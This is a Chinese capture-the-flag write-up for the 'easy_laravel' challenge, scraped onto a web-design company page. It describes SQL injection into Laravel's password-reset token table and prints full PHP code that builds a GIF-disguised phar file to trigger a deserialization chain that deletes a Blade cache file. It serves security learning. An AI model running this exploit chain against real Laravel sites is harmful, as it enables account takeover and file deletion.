小蘑菇网站建设下载wordpress单页留言板
2026/4/18 12:31:10 网站建设 项目流程
小蘑菇网站建设下载,wordpress单页留言板,网站只做程序员,wordpress视频解析插件题目#xff1a;攻防世界#xff1a;easy_laravel 学习提示#xff1a;blade pop chain#xff08;代码审计sql注入blade缓存反序列化#xff09;直接F12查看源码php的web框架一、注入 查看源码#xff1a; 这里应该是注入点#xff1a;看到管理员认证#xff0c;判断…题目攻防世界easy_laravel 学习提示blade pop chain代码审计sql注入blade缓存反序列化直接F12查看源码php的web框架一、注入查看源码这里应该是注入点看到管理员认证判断邮箱可以重置密码但是需要tokentoken在表password_reset中确定思路注册用户sql注入拿到token–reset一下管理员的密码生成token–登录获取flag1、注入laravel内置重置密码在Illuminate\Auth\Passwords中实现重置密码需要填写邮箱并向邮箱发送一个重置链接。laravel在5.4以后都是将token加密存储的而之前是明文存储所以我们就可以注入出token重置admin密码先访问**/password/reset重置admin密码然后注出token访问/password/reset/[token]**完成重置2、登录后发现显示 no flag二. blade 模板Blade 是 Laravel 提供的一个简单而又强大的模板引擎。和其他流行的 PHP 模板引擎不同Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来除非它被修改否则不会重新编译这就意味着 Blade 基本上不会给你的应用增加任何负担。Blade 视图文件使用 .blade.php 作为文件扩展名被存放在 resources/views 目录。所以当我们修改了flag的balde模板但是还没有编译使其渲染出新的flag页面其页面还是没修改时的那个缓存删除缓存文件1、上传phar文件2、利用phar文件删除缓存文件upload 实现phar文件上传 check利用通过此类实现反序列化。确定一下相关文件目录1、blade缓存位置storage/framework/views2、apache默认目录/var/www/html/加一起缓存文件就是 /var/www/html/storage/framework/views/flag.blade.php(sha1()34e41df0934a75437873264cd28e2d835bc38772)phaer 文件是以序列化形式存储的。当解析它的时候必然会用到反序列化的一些魔术方法。受影响的函数包括从其他师傅那学习到的生成phar的代码?php requirevendor/autoload.php;$aserialize(newSwift_ByteStream_TemporaryFileByteStream());var_dump(unserialize($a));var_dump($a);# 这个函数很有趣$_path 也就是删除的目录是可以自己制定的将这里面的内容换成我们想要的内容就可以删掉flag的缓存文件。 $apreg_replace(/\/tmp\/FileByteStream[\w]{6}/,/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php,$a);$astr_replace(s:25,s:90,$a);# 这里将 _path 的内容修改掉 $bunserialize($a);$pnewPhar(./shell.phar,0);$p-startBuffering();$p-setStub(GIF89a?php __HALT_COMPILER(); ?);# 改文件头 $p-setMetadata($b);$p-addFromString(test.txt,text);$p-stopBuffering();rename(shell.phar,1.gif)?生成后将1.gif上传然后点击check。修改数据包重新访问/flag路由得到flagflag flag{d64e4b06f672429682a96b11172a8938}

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询